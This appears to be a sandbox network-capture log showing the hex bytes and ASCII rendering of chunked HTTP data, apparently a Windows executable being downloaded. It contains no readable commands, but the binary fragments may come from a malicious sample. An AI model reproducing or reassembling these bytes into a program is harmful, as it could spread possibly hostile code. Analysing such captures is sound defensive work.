2023-05-28 08:42:39 UTC	47	IN	Data Raw: 31 66 34 30 0d 0a da f7 d8 83 da 00 8b ca 8b d3 8b d9 8b c8 8b c6 5e c2 10 00 cc cc cc cc cc cc cc cc cc cc cc c6 85 70 ff ff ff fe 0a ed 75 4b d9 c9 d9 f1 eb 0d c6 85 70 ff ff ff fe 32 ed d9 ea de c9 e8 3b 01 00 00 d9 e8 de c1 f6 85 61 ff ff ff 01 74 14 d9 e8 83 3d 30 b4 42 00 01 74 04 de f1 eb 05 e8 9d 3b 00 00 f6 c2 40 75 02 d9 fd 0a ed 74 02 d9 e0 e9 72 d4 ff ff e8 46 01 00 00 0b c0 74 14 32 ed 83 f8 02 74 02 f6 d5 d9 c9 d9 e1 eb 9f e9 68 d4 ff ff e9 fe d4 ff ff dd d8 dd d8 db 2d e0 9d 42 00 c6 85 70 ff ff ff 02 c3 d9 ed d9 c9 d9 e4 9b dd bd 60 ff ff ff 9b f6 85 61 ff ff ff 41 75 d2 d9 f1 c3 c6 85 70 ff ff ff 02 dd d8 db 2d ea 9d 42 00 c3 0a c9 75 53 c3 d9 ec eb 02 d9 ed d9 c9 0a c9 75 ae d9 f1 c3 e9 0e d4 ff ff e8 cf 00 00 00 dd d8 dd d8 0a c9 75 0e Data Ascii: 1f40^puKp2;at=0Bt;@utrFt2th-Bp`aAup-BuSuu
2023-05-28 08:42:39 UTC	55	IN	Data Raw: ff ff c9 c3 8b ff 55 8b ec 8b 45 14 83 f8 65 74 5f 83 f8 45 74 5a 83 f8 66 75 19 ff 75 20 ff 75 18 ff 75 10 ff 75 0c ff 75 08 e8 20 fe ff ff 83 c4 14 5d c3 83 f8 61 74 1e 83 f8 41 74 19 ff 75 20 ff 75 1c ff 75 18 ff 75 10 ff 75 0c ff 75 08 e8 b5 fe ff ff eb 30 ff 75 20 ff 75 1c ff 75 18 ff 75 10 ff 75 0c ff 75 08 e8 77 f9 ff ff eb 17 ff 75 20 ff 75 1c ff 75 18 ff 75 10 ff 75 0c ff 75 08 e8 6e f8 ff ff 83 c4 18 5d c3 8b ff 55 8b ec 6a 00 ff 75 1c ff 75 18 ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 5a ff ff ff 83 c4 1c 5d c3 8b ff 56 68 00 00 03 00 68 00 00 01 00 33 f6 56 e8 48 27 00 00 83 c4 0c 85 c0 74 0d 56 56 56 56 56 e8 7c 7c ff ff 83 c4 14 5e c3 8b ff 55 8b ec 83 ec 18 dd 05 a0 23 40 00 dd 5d f0 dd 05 98 23 40 00 dd 5d e8 dd 45 e8 dc 75 f0 dc 4d f0 dc 6d Data Ascii: UEet_EtZfuu uuuu ]atAtu uuuuu0u uuuuuwu uuuuun]UjuuuuuuZ]Vhh3VH'tVVVVV\|\|^U#@]#@]EuMm
2023-05-28 08:42:39 UTC	62	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:39 UTC	62	IN	Data Raw: 31 66 34 30 0d 0a 83 ca 01 dc 0d f4 a0 42 00 db 7c 24 18 dc 0d f4 a0 42 00 db 3c 24 eb 20 d9 7c 24 24 8b 44 24 24 0d 00 03 00 00 89 44 24 28 d9 6c 24 28 dd d8 dc 0d f4 a0 42 00 db 3c 24 d9 6c 24 24 e8 54 fd ff ff 83 c4 30 5a c3 d9 f8 83 c4 30 5a c3 50 53 51 8b 44 24 16 35 00 07 00 00 a9 00 07 00 00 0f 85 83 01 00 00 c1 e8 0b 83 e0 0f 80 b8 dc a0 42 00 00 0f 84 70 01 00 00 8b 44 24 16 25 00 00 ff 7f 3d 00 00 ff 7f 0f 84 5c 01 00 00 8b 44 24 2e 25 00 00 ff 7f 0f 84 4d 01 00 00 3d 00 00 ff 7f 0f 84 42 01 00 00 8b 44 24 2c 03 c0 0f 85 36 01 00 00 8b 44 24 14 03 c0 0f 85 2a 01 00 00 8b 44 24 18 25 ff 7f 00 00 83 c0 3f 8b 5c 24 30 81 e3 ff 7f 00 00 2b d8 77 5e 8b 44 24 18 25 ff 7f 00 00 83 c0 0a 8b 5c 24 30 81 e3 ff 7f 00 00 2b d8 0f 88 f2 00 00 00 db 6c 24 28 Data Ascii: 1f40B\|$B<$ \|$$D$$D$(l$(B<$l$$T0Z0ZPSQD$5BpD$%=\D$.%M=BD$,6D$*D$%?\$0+w^D$%\$0+l$(
2023-05-28 08:42:39 UTC	70	IN	Data Raw: 1f 41 00 99 1f 41 00 de 1f 41 00 16 20 41 00 2a 20 41 00 85 20 41 00 70 20 41 00 ef 20 41 00 e4 20 41 00 93 20 41 00 8b ff 55 8b ec 83 ec 74 a1 80 92 42 00 33 c5 89 45 fc 53 8b 5d 1c 56 57 8d 75 08 8d 7d f0 a5 a5 66 a5 8b 55 f8 8b ca b8 00 80 00 00 23 c8 81 e2 ff 7f 00 00 89 5d a0 c6 45 d0 cc c6 45 d1 cc c6 45 d2 cc c6 45 d3 cc c6 45 d4 cc c6 45 d5 cc c6 45 d6 cc c6 45 d7 cc c6 45 d8 cc c6 45 d9 cc c6 45 da fb c6 45 db 3f c7 45 8c 01 00 00 00 89 4d 90 66 85 c9 74 06 c6 43 02 2d eb 04 c6 43 02 20 8b 75 f4 8b 7d f0 66 85 d2 75 2f 85 f6 75 2b 85 ff 75 27 33 d2 66 3b c8 0f 95 c0 fe c8 24 0d 04 20 66 89 13 88 43 02 c6 43 03 01 c6 43 04 30 88 53 05 33 c0 40 e9 1e 08 00 00 b8 ff 7f 00 00 66 3b d0 0f 85 9f 00 00 00 33 c0 40 66 89 03 b8 00 00 00 80 3b f0 75 04 85 Data Ascii: AAA A* A Ap A A A AUtB3ES]VWu}fU#]EEEEEEEEEEEE?EMftC-C u}fu/u+u'3f;$ fCCC0S3@f;3@f;u
2023-05-28 08:42:39 UTC	78	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:39 UTC	78	IN	Data Raw: 31 66 34 30 0d 0a 53 db 71 dd e0 e2 5c 36 ec 32 38 c0 b0 62 66 4b 1e f2 59 77 d6 90 23 24 49 e3 c6 da 3c b0 df cb f6 fc e1 54 39 5c f8 84 39 66 18 a3 0d 7e 3d 81 2b 7e 1b cc 22 c0 5a 52 d5 1c 77 ee 6b 5c 54 00 be ac 92 f6 e3 ee b6 70 1a 77 6b 12 54 85 a3 10 ea 73 63 5f f7 98 98 36 dc b5 2d 37 a0 51 54 38 79 4d 48 70 a1 c7 19 a5 cd 2a ba 66 af c7 e6 e0 66 77 42 6a 37 99 e0 04 be 3d c7 98 93 5f f9 a3 75 14 44 bd bc 89 f8 c2 4b ec 0e fd c3 b3 c0 08 25 9f 55 2d 2b 9a 89 90 37 48 e3 d4 5d e8 7c e9 5a 06 bb 61 8d 15 36 79 aa 86 1b 4d 98 56 66 35 ee d5 e2 41 9c 7a b3 a6 21 99 6f 6c aa de 5c fa 0b e6 ae 4a 7b 33 9e 4f 46 99 30 9a 66 55 cd 29 2a 35 61 e5 3d 16 ae 30 32 8b 86 a4 dc af f9 e2 49 eb 8f fe 25 49 22 a2 07 b0 fe 7a 14 5b 7b 99 a0 bd c0 94 67 db 0b 4b f0 Data Ascii: 1f40Sq\628bfKYw#$I<T9\9f~=+~"ZRwk\TpwkTsc_6-7QT8yMHpffwBj7=_uDK%U-+7H]\|Za6yMVf5Az!ol\J{3OF0fU)5a=02I%I"z[{gK
2023-05-28 08:42:39 UTC	86	IN	Data Raw: 6f fb c3 d6 89 39 83 05 65 e9 3c ad c8 e9 ff 82 8b 87 4c c6 8d 23 e4 d4 30 c2 75 e7 10 71 55 39 eb eb ea fc f9 ca 9b 7e 0e a3 3b 6f f8 68 c5 8b 78 23 83 3d 1b 23 d6 2f 8a 7a fd 17 3b 50 e3 d5 a2 1a fb 95 86 8d d8 68 2b a0 c5 80 84 e3 b1 1d ab bf b4 8a 48 5f e3 47 d7 e3 71 28 ad ae ba ea 23 55 11 3e 2e 4c 80 17 58 88 b3 0c f6 72 f2 9c 12 c8 85 1c e4 11 03 da 1a d0 9c f8 e0 65 2a 9e b0 7d 90 4b 46 93 86 d1 35 b9 7a 51 6f c6 a6 ef 13 c8 b2 fd 43 eb 9e 3a 69 08 20 2c d3 6c 85 7f d7 44 74 eb 1d fe 09 7d c6 19 d8 12 bf 1e e8 f6 f8 79 17 d0 c8 80 dc 0f 8b b5 81 9b 16 49 6f 72 24 b6 77 7a 16 e6 5b fc c7 20 3e c9 bb 57 50 41 cb 84 6d 1f 2d 14 d9 3f cc 4c 6b ea 53 83 52 5a cf de 86 9c 1a cb 31 45 14 90 5b fa 5a be 6a dc be de f6 95 d6 98 73 0e 5f 1f a5 03 33 77 78 Data Ascii: o9e<L#0uqU9~;ohx#=#/z;Ph+H_Gq(#U>.LXre*}KF5zQoC:i ,lDt}yIor$wz[ >WPAm-?LkSRZ1E[Zjs_3wx
2023-05-28 08:42:39 UTC	94	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:39 UTC	94	IN	Data Raw: 31 66 34 30 0d 0a 98 46 3c 39 3b d9 78 a3 e6 f8 07 4b 0c b1 51 5b 81 a8 e1 3e 03 d3 e5 2c d4 cb a7 97 b5 69 e6 e5 54 97 e5 fa cc c4 91 ab 45 b3 6c f9 67 fa c2 72 24 bc 52 ea 4a 9b 50 16 68 06 a6 f3 06 e8 1f 9d 71 73 d4 8e a6 dc ec 2b c6 f8 36 d6 c8 96 61 37 57 e9 5b f8 b4 a6 c2 cd 16 d3 3b 0a 33 c5 ce d7 ab ed 8b d0 3e 8f a8 3a 87 a7 84 05 52 05 e4 71 5a d0 c5 61 82 02 86 20 a1 fd b6 60 55 e3 ca c5 50 f8 5d ef 9b 62 11 ce 1c 55 18 24 78 7f 0f 6d 5d af 13 ff dc cf e9 2f a4 08 0a 14 df 4d 61 f4 fd 47 59 c2 86 1c 1c df d1 05 ee 41 3e f7 f4 f7 b7 a2 b3 3b da 85 15 2c ca 92 95 6a e2 75 95 5a 81 1a 51 4e 3e ab a8 46 17 b7 24 52 bd 88 58 0b 77 e9 71 a5 49 b7 4e e6 8d 13 9f 5c f2 e0 ac f7 b6 c0 a1 06 9e cc 1e af 31 21 59 85 b7 2d 29 a8 c6 f1 b1 84 1d 8d 63 03 74 Data Ascii: 1f40F<9;xKQ[>,iTElgr$RJPhqs+6a7W[;3>:RqZa `UP]bU$xm]/MaGYA>;,juZQN>F$RXwqIN\1!Y-)ct
2023-05-28 08:42:39 UTC	102	IN	Data Raw: 84 98 79 df cd 1c dd b3 ee 44 97 68 83 ac 19 d3 8e 5c 86 c7 f0 88 24 3c 88 a1 e8 b4 b9 ba fa 53 6f 2b 68 3f 7e fd 7d 33 8a 90 62 69 33 de 6d 07 ae 87 b3 2e 3d 12 31 6b 47 02 db 56 cc 0f 7c be c7 d7 b0 f7 84 c5 78 aa 23 5d c6 13 de 3e e2 c5 64 98 f3 f0 4a 26 9e 34 93 4d e0 c2 2d 31 9e 5e d5 cf 1d a9 90 05 29 35 5b d2 68 16 1c bc c1 e2 cb 79 e6 b0 48 db 7f 5c 90 25 6a 9a eb a1 61 14 12 53 e4 86 79 cd d0 39 70 ce 3a 63 f7 c3 c6 dd 51 62 09 8f a9 36 84 ae 60 fb 19 d5 d5 87 6e 3d fc e6 67 bd 6f ce c4 c7 63 b1 13 5b 89 ba 63 82 31 1a 4b b2 9f ec 67 7f 97 04 82 ed 80 57 4b 86 f1 90 f0 1b f0 ed 69 ae f1 ed 1c 67 a0 ef 65 82 bb 5b 63 d3 4c ab 4c 20 49 cd 1e 7f 3b 84 bd 1d 8e 9b a7 4e 5c 41 77 73 f0 96 72 04 7e 57 9b cd 08 17 d4 62 8b fd 7d 34 96 6f b1 9d d0 a0 67 Data Ascii: yDh\$<So+h?~}3bi3m.=1kGV\|x#]>dJ&4M-1^)5[hyH\%jaSy9p:cQb6`n=goc[c1KgWKige[cLL I;N\Awsr~Wb}4og
2023-05-28 08:42:39 UTC	109	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:39 UTC	109	IN	Data Raw: 31 66 34 30 0d 0a 6e 57 50 dd 99 12 18 94 f3 01 79 1e 8b 96 ce 7d 43 4c ec 5d 66 f1 c9 e6 83 d0 fa 75 21 1e d8 94 6e b6 6f 22 1c 38 fd 33 0c 69 a4 cd 80 a9 42 58 f1 45 4e cb 92 d9 96 bc 01 d2 1a 8f 5c f4 2e e8 c9 7d 45 88 11 98 45 8d 68 c9 f8 bc ae fe a4 ac 19 b3 0a 62 e1 be bc 50 a6 eb 14 5b a9 98 2d 23 77 8e b0 77 74 bd 59 86 17 6d 5c 45 e5 57 60 14 e1 8e 7f 13 4a f5 6b c0 d5 b3 dd e2 fc d2 84 d5 39 e5 22 e5 65 7f 87 4a 3e 08 c5 e9 23 2a 48 9d 07 b5 9c e6 98 20 5a 42 bd 48 63 98 91 e2 17 17 03 15 7e 31 1d 5f 08 ab 49 f2 f1 df 20 5b 8b 6f 8e 09 36 93 4c 21 eb 7a d4 e2 2e b4 28 69 58 26 47 52 95 98 5f 59 9f 37 db 22 bb 47 07 e4 cd 27 61 57 b4 bd c0 56 b4 60 14 46 47 bf 38 56 f1 74 5e af be bc f5 32 cb 66 6a 76 35 b4 de c9 d0 4d a5 f4 1a 90 f6 9d 0f 3c a3 Data Ascii: 1f40nWPy}CL]fu!no"83iBXEN\.}EEhbP[-#wwtYm\EW`Jk9"eJ>#*H ZBHc~1_I [o6L!z.(iX&GR_Y7"G'aWV`FG8Vt^2fjv5M<
2023-05-28 08:42:39 UTC	117	IN	Data Raw: 36 24 fa 8c d4 73 f8 a2 94 1f f1 ce 38 94 2b 20 72 66 98 23 a1 9b 3c 32 8e 0e cf 34 09 00 45 a4 d0 cd c7 c9 df 60 1e 74 c3 ba 23 a4 37 35 7d 5b 1a d0 09 ce 28 18 17 65 a6 04 97 91 d1 13 cd 98 60 74 3b 63 7b 20 e2 dd 1b 6b d1 1d cf c1 1b 80 39 f5 55 5f 93 99 5f 05 28 dd 32 77 45 9a e9 be e2 70 cc 5f ea f8 2b 0c 05 ac 93 17 36 fb 96 df 73 33 03 0c 89 0a 9f 25 d5 02 cf 23 3e 35 52 a8 65 2c bf 1d fc 17 54 b6 30 22 34 31 92 94 5b dc c7 40 20 f2 5c 9d ad 33 60 dd 23 d2 ce 99 dd 17 fc 56 28 e3 ad f6 68 10 3e 60 2c ab 6a 63 cd f2 66 fa 69 7d e7 5b 94 f2 7f 74 7d 5b a7 71 cd 50 c4 ee 13 80 d3 9f 9c ad 04 02 3b 30 61 dc 20 fb 9c ce 23 1b d5 f6 f3 ee b7 6b 23 f2 1b 24 64 0c 7d f8 66 0a 46 33 59 26 db 7c 55 86 98 7a 4d ba e8 b3 20 65 b3 31 98 4e b4 15 5b a4 dd 45 74 Data Ascii: 6$s8+ rf#<24E`t#75}[(e`t;c{ k9U__(2wEp_+6s3%#>5Re,T0"41[@ \3`#V(h>`,jcfi}[t}[qP;0a #k#$d}fF3Y&\|UzM e1N[Et
2023-05-28 08:42:39 UTC	125	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:39 UTC	125	IN	Data Raw: 31 66 34 30 0d 0a 75 a4 6d 8c f5 df f7 0e a4 89 8d 28 91 93 36 b3 27 e8 10 56 de 76 7c ed b7 70 5d 58 b1 33 ba c2 02 38 ea 00 35 9a f9 ed 87 d5 3d 7b 7b 9d c1 07 f5 d6 37 62 f4 e6 42 34 67 90 8d f0 a6 b5 da 7f e4 1d 3e 7b 5d 4a d7 50 cf 20 8f d5 04 97 93 50 b4 1d 2c 0e 97 c6 2a f6 b0 ed 5a 1e cd a5 e1 e7 42 89 ad d0 86 78 b2 41 5a b3 a0 54 51 20 d9 91 7f fd be 6a 15 94 43 a3 32 ad 61 cc d1 7d d9 25 32 71 e2 43 fa 41 5e 60 93 7b 64 96 d7 94 1e c6 50 7e 7d 3f d3 0e c6 8f f7 37 47 f9 2b 03 f3 7c 50 e2 ea 65 63 2a 27 94 b7 0f e8 94 92 5e c2 48 12 30 a5 4f d2 49 98 4c 6d 25 13 1b f4 3e 2b fa 8d b2 73 34 17 00 11 e1 c9 ca f5 7a 03 4b ba 32 43 e9 48 7a 2a 60 f5 ff 6a 24 b0 0f 61 31 8e 51 f3 1e 8e ef b1 7b b8 3b a0 f2 d8 66 70 a2 52 99 0f f9 70 6b 9a 62 7b d0 33 Data Ascii: 1f40um(6'Vv\|p]X385={{7bB4g>{]JP P,ZBxAZTQ jC2a}%2qCA^`{dP~}?7G+\|Pec'^H0OILm%>+s4zK2CHz*`j$a1Q{;fpRpkb{3
2023-05-28 08:42:39 UTC	133	IN	Data Raw: c5 74 8a 1a df 61 50 8a 0b f5 de 6b d7 6b 3f 57 d9 83 04 1c 45 67 b3 a3 4f 58 30 c5 36 25 a8 89 4f e2 cc d1 e5 ae b9 da 20 b8 e1 21 8c 9f 26 fe 2c 8d c1 44 b8 c0 3e 4e a4 e3 6f 18 9a df 54 54 be d4 c0 d2 b7 be 78 41 a4 c5 8f dd c3 c4 c5 58 e4 d4 ae ba 37 16 3c 30 5e 31 5f c4 f0 29 ef 57 55 91 65 fe 3a 87 b1 2f 10 37 b5 56 f6 fe db 04 f1 cb d8 65 4f 5a a5 dd 1e 74 f3 e5 7e d9 07 b8 25 c0 8a 9e b7 b1 8c f3 1f ec a7 f2 b3 ea f3 7b 94 18 b3 4b 3f 7f ce 39 b6 f3 85 4d 26 33 9d e5 da 53 08 c0 68 20 78 dd bf 43 91 e6 de 51 1f a3 cc 23 3c 1c 80 7d 2d e9 03 fd 66 18 4e 1a d9 51 17 97 6b 3f df 8d f3 a2 e5 ca 2a cd aa 8c a0 f7 c1 6e 32 75 08 7d c2 0a 1b c7 39 01 32 1b 12 cb 79 09 63 80 58 98 81 82 ed c3 d6 da 31 fa c3 27 91 a7 9f 2b d4 ae cd 8c ba b1 ed 84 c8 03 51 Data Ascii: taPkk?WEgOX06%O !&,D>NoTTxAX7<0^1_)WUe:/7VeOZt~%{K?9M&3Sh xCQ#<}-fNQk?*n2u}92ycX1'+Q
2023-05-28 08:42:39 UTC	141	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:39 UTC	141	IN	Data Raw: 31 66 34 30 0d 0a 57 62 68 bc 67 1a ad a0 f7 b6 48 4b cd 24 c8 f6 4f e6 e3 b4 a8 8b d5 99 f2 b7 a5 85 6d 83 57 87 2c d9 ea af 14 4a ad dc d5 b1 f7 26 85 5d 6c 07 1c d7 72 29 9c e3 5d 95 d2 aa c9 02 6a e1 b6 fc 2f 01 8d aa ec b2 5a a8 d2 86 44 d2 c2 df f3 92 7a 5c 1c ab fc 88 c6 65 a6 46 fe 5e aa 29 8d ce 65 eb 75 8e a2 a3 0c 56 0f 8a 17 41 1a e4 1f c2 4a 55 af 1b 11 a0 a0 82 f0 cc 2f 9b 5a 73 fb 59 77 e5 eb 70 2c 90 e3 ca d8 90 49 2b db af 29 4f 3e 7f c4 38 ae 66 38 7b b8 d0 26 0c 4f 34 ee a8 ef 27 0d e9 92 43 18 24 95 5d c9 ad 42 cc 5a ad 04 4c 8b 8c 08 a9 64 f0 10 85 42 78 d1 08 8c 11 7e 96 67 dd 6c da ca ae e5 7d c2 a8 e6 bf 30 36 1d ed 07 ae a2 8a 21 a8 04 86 b4 54 c8 43 94 a0 07 eb 7d b7 b5 ec 6b 88 55 21 57 ce 53 59 75 1b 16 88 21 2a 35 88 00 97 73 Data Ascii: 1f40WbhgHK$OmW,J&]lr)]j/ZDz\eF^)euVAJU/ZsYwp,I+)O>8f8{&O4'C$]BZLdBx~gl}06!TC}kU!WSYu!*5s
2023-05-28 08:42:39 UTC	149	IN	Data Raw: c1 ac 89 66 08 24 43 02 24 cc 4c 33 bc a8 d8 ea c9 fc ad fd 23 e3 9b b8 b5 b4 d8 e6 8d b2 39 5c 9b 97 e1 89 81 96 81 10 45 17 dd cc 4b 82 4b f1 6e 1f 4f 92 53 dd 58 63 23 ab 2e 4f 92 1b c9 c0 be c2 f5 d9 f1 06 a4 3a d1 c3 48 0d 71 1c 5d d1 6a 10 c6 b8 7c ae 91 dc 5b 2a 00 1e 4b b7 d3 8b e5 47 13 e6 31 65 ff cc ee 26 6c 85 7c 0f f3 9e 1e 05 a4 9d 05 e4 86 c6 71 95 e2 59 67 c9 a9 7c ce fe 5d ab 58 cf 18 e9 a4 4f 01 e7 54 1c 6b 68 81 a7 eb 12 88 fa 02 b6 a5 45 9d 6e e5 1b 75 25 60 7c ae 7b dc ec 84 65 f3 ef 05 7c e5 f9 3e e8 8a bb f6 98 fc e9 66 91 66 de d5 a0 a6 4a fe 03 20 90 99 00 ef 7e a2 df 97 de 34 ea dc bf ba ec 44 6c 9f a5 5d 32 65 5e 58 43 8d 95 3c 79 98 25 ae 9a f9 2a 3a 38 79 a0 e7 4f 4d f1 7d 3c 9a 8b d3 d0 01 26 59 28 67 3b 22 2f 2f ee 62 35 ef Data Ascii: f$C$L3#9\EKKnOSXc#.O:Hq]j\|[KG1e&l\|qYg\|]XOTkhEnu%`\|{e\|>ffJ ~4Dl]2e^XC<y%:8yOM}<&Y(g;"//b5
2023-05-28 08:42:39 UTC	156	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:39 UTC	156	IN	Data Raw: 31 66 34 30 0d 0a e0 78 44 28 ca c8 4d 06 4d 94 e5 67 13 b0 9c 8c 68 d5 3f 1a b1 4c 22 ae 46 fd 55 03 34 da a5 56 b9 15 42 da 93 c5 93 f0 71 49 00 6c e8 6d 9b 61 5e fe be 30 62 05 10 77 33 2b db 4f f7 0e 59 a5 cb 56 6d 25 46 fa 44 27 fc 5f 5d e0 84 41 90 30 6b 87 ff cb 2f 38 12 ab 7c 6e 81 e2 d1 84 c5 0a 39 aa 0b 20 c3 a6 a3 96 a5 5a 32 fe 19 7a 1d 91 24 2e d9 30 94 51 5a 6f cc 91 1e 20 8c 1d 32 c2 24 3e 84 74 c4 3b 42 64 7f bc ce 73 8f 3a 74 8b 54 24 08 8d 42 0c 8b 4a ec 33 c8 e8 9a d6 fd ff b8 c8 7d 42 00 e9 37 d3 fd ff cc cc cc cc cc 8b 45 04 e9 a8 c9 fd ff b8 c0 82 42 00 e9 20 d3 fd ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8d 8d a4 fb ff ff e9 e5 c8 fd ff 8d 85 8c fb ff ff e9 7a c9 fd ff b8 f4 82 42 00 e9 f2 d2 fd ff c7 05 60 ac 42 00 50 12 40 00 Data Ascii: 1f40xD(MMgh?L"FU4VBqIlma^0bw3+OYVm%FD'_]A0k/8\|n9 Z2z$.0QZo 2$>t;Bds:tT$BJ3}B7EB zB`BP@
2023-05-28 08:42:39 UTC	164	IN	Data Raw: ff dc a7 d7 b9 85 66 71 b1 0d 40 00 00 00 00 00 00 ff ff 0d 40 f7 36 43 0c 98 19 f6 95 fd 3f 00 00 00 00 00 00 e0 3f 03 65 78 70 00 00 00 00 00 00 00 00 00 01 14 00 b1 c6 40 00 7d 9b 40 00 82 9b 40 00 f1 c7 40 00 00 00 94 26 00 00 14 00 00 00 14 14 40 00 1d 00 00 00 18 14 40 00 1a 00 00 00 08 14 40 00 1b 00 00 00 0c 14 40 00 1f 00 00 00 f4 1b 40 00 13 00 00 00 ec 1b 40 00 21 00 00 00 e4 1b 40 00 0e 00 00 00 00 14 40 00 0d 00 00 00 f8 13 40 00 0f 00 00 00 dc 13 40 00 10 00 00 00 dc 1b 40 00 05 00 00 00 d4 1b 40 00 1e 00 00 00 c0 13 40 00 12 00 00 00 bc 13 40 00 20 00 00 00 b8 13 40 00 0c 00 00 00 d4 13 40 00 0b 00 00 00 cc 13 40 00 15 00 00 00 cc 1b 40 00 1c 00 00 00 c4 13 40 00 19 00 00 00 c4 1b 40 00 11 00 00 00 bc 1b 40 00 18 00 00 00 b4 1b 40 00 16 00 Data Ascii: fq@@6C??exp@}@@@&@@@@@@!@@@@@@@@ @@@@@@@@
2023-05-28 08:42:39 UTC	172	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:39 UTC	172	IN	Data Raw: 31 66 34 30 0d 0a 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 38 9b fe fb b1 9c 22 3a 58 3a 6e 02 6e 6e 1e 20 7c 15 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f a1 c0 5a 08 61 54 22 6e 58 ee a6 9c 2e 2e ca ca 5c 84 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f fa 87 38 85 cf cf 3b aa e4 68 80 df 2e 2e 20 e2 84 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 10 57 0f f1 37 1f 79 79 95 ab b4 ca c1 9d 42 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f f0 18 b4 c1 45 5c 42 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f Data Ascii: 1f40/////////////////8":X:nnn \|//////////////////////////////ZaT"nX..\///////////////////////////////8;h.. /////////////////////////////////W7yyB/////////////////////////////////////////E\B//////////////////////
2023-05-28 08:42:39 UTC	180	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 7e 7e 7e 7f 7f 80 81 7f 80 80 80 81 80 81 7e 7e 7f 7f 80 7f 7f 80 81 7f 80 7f 80 7f 7f 80 7f 81 7e 7e 7f 81 80 81 81 80 81 81 80 80 7e 81 7e 80 7e 80 7f 7f 7f 80 7f 81 7f 81 7e 7f 81 7f 7e 80 7f 7f 80 80 7f 81 81 7f 81 80 7e 81 80 7f 80 81 80 7f 7f 7f 80 7f 7f 80 81 7f 80 80 7f 80 80 81 81 7f 80 7e 7f 7f 80 80 7f 7f 80 7f 7f 81 80 80 7e 81 81 7f 7f 81 7f 80 81 80 80 81 80 7f 80 7e 81 7f 7f 81 7f 7e 81 7f 7f 80 7f 7f 81 80 7e 7f 7e 7f 7f 7f 80 80 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7e 7e 7f 80 81 7e 80 80 7f 7f 7e 7f 7e 7f 7e 81 81 7e 7f 7e 80 7f 80 7e 7e 80 7e 7f 80 80 7e 7e 7f 7f 7f 80 7e 7f 80 7e 7f 81 80 7f 80 7f Data Ascii: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:42:39 UTC	187	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:39 UTC	187	IN	Data Raw: 31 66 34 30 0d 0a 7e 80 81 7e 7f 7f 80 80 80 80 7f 80 7f 81 80 7e 7e 80 80 80 80 80 81 80 80 81 7f 80 7f 80 7f 80 7f 80 80 80 7e 80 81 81 7f 7e 80 7f 80 80 7f 81 81 7e 80 7f 80 7e 7e 7e 7f 80 7f 80 7f 80 81 7f 7f 7e 7e 80 80 7f 7f 80 81 7e 7f 7e 80 7e 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 81 80 7e 81 80 7f 80 7f 80 7f 7f 7f 80 7f 7e 7f 80 7f 80 7f 80 80 7f 7e 80 80 7e 7e 7f 7e 7e 7f 7f 7e 81 80 80 80 7f 81 7f 7f 80 7e 81 7f 80 7f 7e 7f 7f 7e 81 81 80 80 80 81 7e 7f 7f 81 7e 80 80 7f 7e 7e 7f 81 80 80 81 7f 80 81 7f 7f 7f 81 7f 7f 7f 80 7f 7f 80 80 81 81 80 7f 7f 7f 7f 80 7f 80 81 7f 7f 81 81 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 81 81 81 80 80 80 7f 80 81 80 80 80 7e 7e 7f 80 7f 7f 80 80 7f 7f 80 80 7e 80 7e 80 7f Data Ascii: 1f40~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:42:39 UTC	195	IN	Data Raw: 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a b7 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 1e b0 0a 6a 6a 6a 6a 6a 6a 6a 2b e6 f1 06 3d fe 2b b7 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 84 69 f6 51 1c da 6f 47 a9 b4 6a 6a e6 54 e5 c0 dc ba 5c e7 19 6a 6a 6a 6a 6a 6a 6a 6a 6a 2b 81 7a 80 7e 74 f5 04 df f5 61 85 47 d0 fe f2 e5 51 03 56 00 e9 8a 2b 6a 6a 6a 6a 6a 6a 6a 6a e6 11 74 4f 22 22 ea 64 22 a5 51 06 60 c8 85 1a 54 24 00 50 50 83 5f 77 6a 